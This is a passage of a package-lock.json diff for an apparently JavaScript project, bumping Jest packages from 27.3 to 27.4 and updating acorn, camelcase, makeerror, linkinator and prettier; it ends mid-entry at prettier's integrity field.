- "jest-circus": "^27.3.1", - "jest-environment-jsdom": "^27.3.1", - "jest-environment-node": "^27.3.1", - "jest-get-type": "^27.3.1", - "jest-jasmine2": "^27.3.1", - "jest-regex-util": "^27.0.6", - "jest-resolve": "^27.3.1", - "jest-runner": "^27.3.1", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", + "jest-circus": "^27.4.2", + "jest-environment-jsdom": "^27.4.3", + "jest-environment-node": "^27.4.2", + "jest-get-type": "^27.4.0", + "jest-jasmine2": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-resolve": "^27.4.2", + "jest-runner": "^27.4.3", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", "micromatch": "^4.0.4", - "pretty-format": "^27.3.1" + "pretty-format": "^27.4.2", + "slash": "^3.0.0" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" @@ -11979,6 +12048,15 @@ } } }, + "node_modules/jest-config/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, "node_modules/jest-dev-server": { "version": "5.0.3", "resolved": "https://registry.npmjs.org/jest-dev-server/-/jest-dev-server-5.0.3.tgz", @@ -11995,24 +12073,24 @@ } }, "node_modules/jest-diff": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.3.1.tgz", - "integrity": "sha512-PCeuAH4AWUo2O5+ksW4pL9v5xJAcIKPUPfIhZBcG1RKv/0+dvaWTQK1Nrau8d67dp65fOqbeMdoil+6PedyEPQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.4.2.tgz", + "integrity": "sha512-ujc9ToyUZDh9KcqvQDkk/gkbf6zSaeEg9AiBxtttXW59H/AcqEYp1ciXAtJp+jXWva5nAf/ePtSsgWwE5mqp4Q==", "dev": true, "dependencies": { "chalk": "^4.0.0", - "diff-sequences": "^27.0.6", - "jest-get-type": "^27.3.1", - "pretty-format": "^27.3.1" + "diff-sequences": "^27.4.0", + "jest-get-type": "^27.4.0", + "pretty-format": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/jest-docblock": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.0.6.tgz", - "integrity": "sha512-Fid6dPcjwepTFraz0YxIMCi7dejjJ/KL9FBjPYhBp4Sv1Y9PdhImlKZqYU555BlN4TQKaTc+F2Av1z+anVyGkA==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.4.0.tgz", + "integrity": "sha512-7TBazUdCKGV7svZ+gh7C8esAnweJoG+SvcF6Cjqj4l17zA2q1cMwx2JObSioubk317H+cjcHgP+7fTs60paulg==", "dev": true, "dependencies": { "detect-newline": "^3.0.0" @@ -12022,33 +12100,33 @@ } }, "node_modules/jest-each": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.3.1.tgz", - "integrity": "sha512-E4SwfzKJWYcvOYCjOxhZcxwL+AY0uFMvdCOwvzgutJiaiodFjkxQQDxHm8FQBeTqDnSmKsQWn7ldMRzTn2zJaQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.4.2.tgz", + "integrity": "sha512-53V2MNyW28CTruB3lXaHNk6PkiIFuzdOC9gR3C6j8YE/ACfrPnz+slB0s17AgU1TtxNzLuHyvNlLJ+8QYw9nBg==", "dev": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "chalk": "^4.0.0", - "jest-get-type": "^27.3.1", - "jest-util": "^27.3.1", - "pretty-format": "^27.3.1" + "jest-get-type": "^27.4.0", + "jest-util": "^27.4.2", + "pretty-format": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/jest-environment-jsdom": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.3.1.tgz", - "integrity": "sha512-3MOy8qMzIkQlfb3W1TfrD7uZHj+xx8Olix5vMENkj5djPmRqndMaXtpnaZkxmxM+Qc3lo+yVzJjzuXbCcZjAlg==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.4.3.tgz", + "integrity": "sha512-x1AUVz3G14LpEJs7KIFUaTINT2n0unOUmvdAby3s/sldUpJJetOJifHo1O/EUQC5fNBowggwJbVulko18y6OWw==", "dev": true, "dependencies": { - "@jest/environment": "^27.3.1", - "@jest/fake-timers": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/environment": "^27.4.2", + "@jest/fake-timers": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", - "jest-mock": "^27.3.0", - "jest-util": "^27.3.1", + "jest-mock": "^27.4.2", + "jest-util": "^27.4.2", "jsdom": "^16.6.0" }, "engines": { @@ -12056,17 +12134,17 @@ } }, "node_modules/jest-environment-node": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.3.1.tgz", - "integrity": "sha512-T89F/FgkE8waqrTSA7/ydMkcc52uYPgZZ6q8OaZgyiZkJb5QNNCF6oPZjH9IfPFfcc9uBWh1574N0kY0pSvTXw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.4.2.tgz", + "integrity": "sha512-nzTZ5nJ+FabuZPH2YVci7SZIHpvtNRHPt8+vipLkCnAgXGjVzHm7XJWdnNqXbAkExIgiKeVEkVMNZOZE/LeiIg==", "devOptional": true, "dependencies": { - "@jest/environment": "^27.3.1", - "@jest/fake-timers": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/environment": "^27.4.2", + "@jest/fake-timers": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", - "jest-mock": "^27.3.0", - "jest-util": "^27.3.1" + "jest-mock": "^27.4.2", + "jest-util": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" @@ -12086,9 +12164,9 @@ } }, "node_modules/jest-get-type": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.3.1.tgz", - "integrity": "sha512-+Ilqi8hgHSAdhlQ3s12CAVNd8H96ZkQBfYoXmArzZnOfAtVAJEiPDBirjByEblvG/4LPJmkL+nBqPO3A1YJAEg==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.4.0.tgz", + "integrity": "sha512-tk9o+ld5TWq41DkK14L4wox4s2D9MtTpKaAVzXfr5CUKm5ZK2ExcaFE0qls2W71zE/6R2TxxrK9w2r6svAFDBQ==", "dev": true, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" @@ -12104,21 +12182,21 @@ } }, "node_modules/jest-haste-map": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.3.1.tgz", - "integrity": "sha512-lYfNZIzwPccDJZIyk9Iz5iQMM/MH56NIIcGj7AFU1YyA4ewWFBl8z+YPJuSCRML/ee2cCt2y3W4K3VXPT6Nhzg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.4.2.tgz", + "integrity": "sha512-foiyAEePORUN2eeJnOtcM1y8qW0ShEd9kTjWVL4sVaMcuCJM6gtHegvYPBRT0mpI/bs4ueThM90+Eoj2ncoNsA==", "dev": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/graceful-fs": "^4.1.2", "@types/node": "*", "anymatch": "^3.0.3", "fb-watchman": "^2.0.0", "graceful-fs": "^4.2.4", - "jest-regex-util": "^27.0.6", - "jest-serializer": "^27.0.6", - "jest-util": "^27.3.1", - "jest-worker": "^27.3.1", + "jest-regex-util": "^27.4.0", + "jest-serializer": "^27.4.0", + "jest-util": "^27.4.2", + "jest-worker": "^27.4.2", "micromatch": "^4.0.4", "walker": "^1.0.7" }, @@ -12130,28 +12208,28 @@ } }, "node_modules/jest-jasmine2": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.3.1.tgz", - "integrity": "sha512-WK11ZUetDQaC09w4/j7o4FZDUIp+4iYWH/Lik34Pv7ukL+DuXFGdnmmi7dT58J2ZYKFB5r13GyE0z3NPeyJmsg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.4.2.tgz", + "integrity": "sha512-VO/fyAJSH9u0THjbteFiL8qc93ufU+yW+bdieDc8tzTCWwlWzO53UHS5nFK1qmE8izb5Smkn+XHlVt6/l06MKQ==", "dev": true, "dependencies": { "@babel/traverse": "^7.1.0", - "@jest/environment": "^27.3.1", - "@jest/source-map": "^27.0.6", - "@jest/test-result": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/environment": "^27.4.2", + "@jest/source-map": "^27.4.0", + "@jest/test-result": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "co": "^4.6.0", - "expect": "^27.3.1", + "expect": "^27.4.2", "is-generator-fn": "^2.0.0", - "jest-each": "^27.3.1", - "jest-matcher-utils": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-runtime": "^27.3.1", - "jest-snapshot": "^27.3.1", - "jest-util": "^27.3.1", - "pretty-format": "^27.3.1", + "jest-each": "^27.4.2", + "jest-matcher-utils": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-runtime": "^27.4.2", + "jest-snapshot": "^27.4.2", + "jest-util": "^27.4.2", + "pretty-format": "^27.4.2", "throat": "^6.0.1" }, "engines": { @@ -12159,46 +12237,46 @@ } }, "node_modules/jest-leak-detector": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.3.1.tgz", - "integrity": "sha512-78QstU9tXbaHzwlRlKmTpjP9k4Pvre5l0r8Spo4SbFFVy/4Abg9I6ZjHwjg2QyKEAMg020XcjP+UgLZIY50yEg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.4.2.tgz", + "integrity": "sha512-ml0KvFYZllzPBJWDei3mDzUhyp/M4ubKebX++fPaudpe8OsxUE+m+P6ciVLboQsrzOCWDjE20/eXew9QMx/VGw==", "dev": true, "dependencies": { - "jest-get-type": "^27.3.1", - "pretty-format": "^27.3.1" + "jest-get-type": "^27.4.0", + "pretty-format": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/jest-matcher-utils": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.3.1.tgz", - "integrity": "sha512-hX8N7zXS4k+8bC1Aj0OWpGb7D3gIXxYvPNK1inP5xvE4ztbz3rc4AkI6jGVaerepBnfWB17FL5lWFJT3s7qo8w==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.4.2.tgz", + "integrity": "sha512-jyP28er3RRtMv+fmYC/PKG8wvAmfGcSNproVTW2Y0P/OY7/hWUOmsPfxN1jOhM+0u2xU984u2yEagGivz9OBGQ==", "dev": true, "dependencies": { "chalk": "^4.0.0", - "jest-diff": "^27.3.1", - "jest-get-type": "^27.3.1", - "pretty-format": "^27.3.1" + "jest-diff": "^27.4.2", + "jest-get-type": "^27.4.0", + "pretty-format": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/jest-message-util": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.3.1.tgz", - "integrity": "sha512-bh3JEmxsTZ/9rTm0jQrPElbY2+y48Rw2t47uMfByNyUVR+OfPh4anuyKsGqsNkXk/TI4JbLRZx+7p7Hdt6q1yg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.4.2.tgz", + "integrity": "sha512-OMRqRNd9E0DkBLZpFtZkAGYOXl6ZpoMtQJWTAREJKDOFa0M6ptB7L67tp+cszMBkvSgKOhNtQp2Vbcz3ZZKo/w==", "devOptional": true, "dependencies": { "@babel/code-frame": "^7.12.13", - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.4", "micromatch": "^4.0.4", - "pretty-format": "^27.3.1", + "pretty-format": "^27.4.2", "slash": "^3.0.0", "stack-utils": "^2.0.3" }, @@ -12216,12 +12294,12 @@ } }, "node_modules/jest-mock": { - "version": "27.3.0", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.3.0.tgz", - "integrity": "sha512-ziZiLk0elZOQjD08bLkegBzv5hCABu/c8Ytx45nJKkysQwGaonvmTxwjLqEA4qGdasq9o2I8/HtdGMNnVsMTGw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.4.2.tgz", + "integrity": "sha512-PDDPuyhoukk20JrQKeofK12hqtSka7mWH0QQuxSNgrdiPsrnYYLS6wbzu/HDlxZRzji5ylLRULeuI/vmZZDrYA==", "devOptional": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/node": "*" }, "engines": { @@ -12259,27 +12337,27 @@ } }, "node_modules/jest-regex-util": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.0.6.tgz", - "integrity": "sha512-SUhPzBsGa1IKm8hx2F4NfTGGp+r7BXJ4CulsZ1k2kI+mGLG+lxGrs76veN2LF/aUdGosJBzKgXmNCw+BzFqBDQ==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.4.0.tgz", + "integrity": "sha512-WeCpMpNnqJYMQoOjm1nTtsgbR4XHAk1u00qDoNBQoykM280+/TmgA5Qh5giC1ecy6a5d4hbSsHzpBtu5yvlbEg==", "dev": true, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/jest-resolve": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.3.1.tgz", - "integrity": "sha512-Dfzt25CFSPo3Y3GCbxynRBZzxq9AdyNN+x/v2IqYx6KVT5Z6me2Z/PsSGFSv3cOSUZqJ9pHxilao/I/m9FouLw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.4.2.tgz", + "integrity": "sha512-d/zqPjxCzMqHlOdRTg8cTpO9jY+1/T74KazT8Ws/LwmwxV5sRMWOkiLjmzUCDj/5IqA5XHNK4Hkmlq9Kdpb9Sg==", "dev": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "chalk": "^4.0.0", "graceful-fs": "^4.2.4", - "jest-haste-map": "^27.3.1", + "jest-haste-map": "^27.4.2", "jest-pnp-resolver": "^1.2.2", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", "resolve": "^1.20.0", "resolve.exports": "^1.1.0", "slash": "^3.0.0" @@ -12289,14 +12367,14 @@ } }, "node_modules/jest-resolve-dependencies": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.3.1.tgz", - "integrity": "sha512-X7iLzY8pCiYOnvYo2YrK3P9oSE8/3N2f4pUZMJ8IUcZnT81vlSonya1KTO9ZfKGuC+svE6FHK/XOb8SsoRUV1A==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.4.2.tgz", + "integrity": "sha512-hb++cTpqvOWfU49MCP/JQkxmnrhKoAVqXWFjgYXswRSVGk8Q6bDTSvhbCeYXDtXaymY0y7WrrSIlKogClcKJuw==", "dev": true, "dependencies": { - "@jest/types": "^27.2.5", - "jest-regex-util": "^27.0.6", - "jest-snapshot": "^27.3.1" + "@jest/types": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-snapshot": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" @@ -12312,31 +12390,31 @@ } }, "node_modules/jest-runner": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.3.1.tgz", - "integrity": "sha512-r4W6kBn6sPr3TBwQNmqE94mPlYVn7fLBseeJfo4E2uCTmAyDFm2O5DYAQAFP7Q3YfiA/bMwg8TVsciP7k0xOww==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.4.3.tgz", + "integrity": "sha512-JgR6Om/j22Fd6ZUUIGTWNcCtuZVYbNrecb4k89W4UyFJoRtHpo2zMKWkmFFFJoqwWGrfrcPLnVBIgkJiTV3cyA==", "dev": true, "dependencies": { - "@jest/console": "^27.3.1", - "@jest/environment": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/environment": "^27.4.2", + "@jest/test-result": "^27.4.2", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "emittery": "^0.8.1", "exit": "^0.1.2", "graceful-fs": "^4.2.4", - "jest-docblock": "^27.0.6", - "jest-environment-jsdom": "^27.3.1", - "jest-environment-node": "^27.3.1", - "jest-haste-map": "^27.3.1", - "jest-leak-detector": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-resolve": "^27.3.1", - "jest-runtime": "^27.3.1", - "jest-util": "^27.3.1", - "jest-worker": "^27.3.1", + "jest-docblock": "^27.4.0", + "jest-environment-jsdom": "^27.4.3", + "jest-environment-node": "^27.4.2", + "jest-haste-map": "^27.4.2", + "jest-leak-detector": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-resolve": "^27.4.2", + "jest-runtime": "^27.4.2", + "jest-util": "^27.4.2", + "jest-worker": "^27.4.2", "source-map-support": "^0.5.6", "throat": "^6.0.1" }, @@ -12345,18 +12423,18 @@ } }, "node_modules/jest-runtime": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.3.1.tgz", - "integrity": "sha512-qtO6VxPbS8umqhEDpjA4pqTkKQ1Hy4ZSi9mDVeE9Za7LKBo2LdW2jmT+Iod3XFaJqINikZQsn2wEi0j9wPRbLg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.4.2.tgz", + "integrity": "sha512-eqPgcBaUNaw6j8T5M+dnfAEh6MIrh2YmtskCr9sl50QYpD22Sg+QqHw3J3nmaLzVMbBtOMHFFxLF0Qx8MsZVFQ==", "dev": true, "dependencies": { - "@jest/console": "^27.3.1", - "@jest/environment": "^27.3.1", - "@jest/globals": "^27.3.1", - "@jest/source-map": "^27.0.6", - "@jest/test-result": "^27.3.1", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/environment": "^27.4.2", + "@jest/globals": "^27.4.2", + "@jest/source-map": "^27.4.0", + "@jest/test-result": "^27.4.2", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/yargs": "^16.0.0", "chalk": "^4.0.0", "cjs-module-lexer": "^1.0.0", @@ -12365,14 +12443,14 @@ "exit": "^0.1.2", "glob": "^7.1.3", "graceful-fs": "^4.2.4", - "jest-haste-map": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-mock": "^27.3.0", - "jest-regex-util": "^27.0.6", - "jest-resolve": "^27.3.1", - "jest-snapshot": "^27.3.1", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", + "jest-haste-map": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-mock": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-resolve": "^27.4.2", + "jest-snapshot": "^27.4.2", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", "slash": "^3.0.0", "strip-bom": "^4.0.0", "yargs": "^16.2.0" @@ -12391,9 +12469,9 @@ } }, "node_modules/jest-serializer": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.0.6.tgz", - "integrity": "sha512-PtGdVK9EGC7dsaziskfqaAPib6wTViY3G8E5wz9tLVPhHyiDNTZn/xjZ4khAw+09QkoOVpn7vF5nPSN6dtBexA==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.4.0.tgz", + "integrity": "sha512-RDhpcn5f1JYTX2pvJAGDcnsNTnsV9bjYPU8xcV+xPwOXnUPOQwf4ZEuiU6G9H1UztH+OapMgu/ckEVwO87PwnQ==", "dev": true, "dependencies": { "@types/node": "*", @@ -12410,9 +12488,9 @@ "dev": true }, "node_modules/jest-snapshot": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.3.1.tgz", - "integrity": "sha512-APZyBvSgQgOT0XumwfFu7X3G5elj6TGhCBLbBdn3R1IzYustPGPE38F51dBWMQ8hRXa9je0vAdeVDtqHLvB6lg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.4.2.tgz", + "integrity": "sha512-DI7lJlNIu6WSQ+esqhnJzEzU70+dV+cNjoF1c+j5FagWEd3KtOyZvVliAH0RWNQ6KSnAAnKSU0qxJ8UXOOhuUQ==", "dev": true, "dependencies": { "@babel/core": "^7.7.2", @@ -12421,23 +12499,23 @@ "@babel/plugin-syntax-typescript": "^7.7.2", "@babel/traverse": "^7.7.2", "@babel/types": "^7.0.0", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/babel__traverse": "^7.0.4", "@types/prettier": "^2.1.5", "babel-preset-current-node-syntax": "^1.0.0", "chalk": "^4.0.0", - "expect": "^27.3.1", + "expect": "^27.4.2", "graceful-fs": "^4.2.4", - "jest-diff": "^27.3.1", - "jest-get-type": "^27.3.1", - "jest-haste-map": "^27.3.1", - "jest-matcher-utils": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-resolve": "^27.3.1", - "jest-util": "^27.3.1", + "jest-diff": "^27.4.2", + "jest-get-type": "^27.4.0", + "jest-haste-map": "^27.4.2", + "jest-matcher-utils": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-resolve": "^27.4.2", + "jest-util": "^27.4.2", "natural-compare": "^1.4.0", - "pretty-format": "^27.3.1", + "pretty-format": "^27.4.2", "semver": "^7.3.2" }, "engines": { @@ -12445,12 +12523,12 @@ } }, "node_modules/jest-util": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.3.1.tgz", - "integrity": "sha512-8fg+ifEH3GDryLQf/eKZck1DEs2YuVPBCMOaHQxVVLmQwl/CDhWzrvChTX4efLZxGrw+AA0mSXv78cyytBt/uw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.4.2.tgz", + "integrity": "sha512-YuxxpXU6nlMan9qyLuxHaMMOzXAl5aGZWCSzben5DhLHemYQxCc4YK+4L3ZrCutT8GPQ+ui9k5D8rUJoDioMnA==", "devOptional": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", @@ -12462,26 +12540,26 @@ } }, "node_modules/jest-validate": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.3.1.tgz", - "integrity": "sha512-3H0XCHDFLA9uDII67Bwi1Vy7AqwA5HqEEjyy934lgVhtJ3eisw6ShOF1MDmRPspyikef5MyExvIm0/TuLzZ86Q==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.4.2.tgz", + "integrity": "sha512-hWYsSUej+Fs8ZhOm5vhWzwSLmVaPAxRy+Mr+z5MzeaHm9AxUpXdoVMEW4R86y5gOobVfBsMFLk4Rb+QkiEpx1A==", "dev": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "camelcase": "^6.2.0", "chalk": "^4.0.0", - "jest-get-type": "^27.3.1", + "jest-get-type": "^27.4.0", "leven": "^3.1.0", - "pretty-format": "^27.3.1" + "pretty-format": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/jest-validate/node_modules/camelcase": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", - "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.1.tgz", + "integrity": "sha512-tVI4q5jjFV5CavAU8DXfza/TJcZutVKo/5Foskmsqcm0MsL91moHvwiGNnqaa2o6PF/7yT5ikDRcVcl8Rj6LCA==", "dev": true, "engines": { "node": ">=10" @@ -12491,17 +12569,17 @@ } }, "node_modules/jest-watcher": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.3.1.tgz", - "integrity": "sha512-9/xbV6chABsGHWh9yPaAGYVVKurWoP3ZMCv6h+O1v9/+pkOroigs6WzZ0e9gLP/njokUwM7yQhr01LKJVMkaZA==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.4.2.tgz", + "integrity": "sha512-NJvMVyyBeXfDezhWzUOCOYZrUmkSCiatpjpm+nFUid74OZEHk6aMLrZAukIiFDwdbqp6mTM6Ui1w4oc+8EobQg==", "dev": true, "dependencies": { - "@jest/test-result": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/test-result": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "ansi-escapes": "^4.2.1", "chalk": "^4.0.0", - "jest-util": "^27.3.1", + "jest-util": "^27.4.2", "string-length": "^4.0.1" }, "engines": { @@ -12509,9 +12587,9 @@ } }, "node_modules/jest-worker": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.3.1.tgz", - "integrity": "sha512-ks3WCzsiZaOPJl/oMsDjaf0TRiSv7ctNgs0FqRr2nARsovz6AWWy4oLElwcquGSz692DzgZQrCLScPNs5YlC4g==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.4.2.tgz", + "integrity": "sha512-0QMy/zPovLfUPyHuOuuU4E+kGACXXE84nRnq6lBVI9GJg5DCBiA97SATi+ZP8CpiJwEQy1oCPjRBf8AnLjN+Ag==", "devOptional": true, "dependencies": { "@types/node": "*", @@ -12646,9 +12724,9 @@ } }, "node_modules/jsdom/node_modules/acorn": { - "version": "8.5.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz", - "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==", + "version": "8.6.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.6.0.tgz", + "integrity": "sha512-U1riIR+lBSNi3IbxtaHOIKdH8sLFv3NYfNv8sg7ZsNhcfl4HF2++BfqqrNAxoCLQW1iiylOj76ecnaUxz+z9yw==", "dev": true, "bin": { "acorn": "bin/acorn" @@ -12919,9 +12997,9 @@ "dev": true }, "node_modules/linkinator": { - "version": "2.16.1", - "resolved": "https://registry.npmjs.org/linkinator/-/linkinator-2.16.1.tgz", - "integrity": "sha512-HFDClxstUOWeIocjndphgurjXhoHwEPhC7hLwQvtVX7Vm7gRbyL8Kf+0I7cI+e5YYrG2Nuyc9AoQZekHuHdCQw==", + "version": "2.16.2", + "resolved": "https://registry.npmjs.org/linkinator/-/linkinator-2.16.2.tgz", + "integrity": "sha512-5tHSz6gMN0z25+Pk4lZnU0Edr1lJLNuk+MCfQa2NxF4f1rfKS8Lo3JEwxTciVzwVHHdBpydAgmWYOgylNlwyDQ==", "dev": true, "dependencies": { "chalk": "^4.0.0", @@ -13436,12 +13514,12 @@ "dev": true }, "node_modules/makeerror": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.11.tgz", - "integrity": "sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=", + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", "dev": true, "dependencies": { - "tmpl": "1.0.x" + "tmpl": "1.0.5" } }, "node_modules/map-obj": { @@ -17101,9 +17179,9 @@ } }, "node_modules/prettier": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.4.1.tgz", - "integrity": 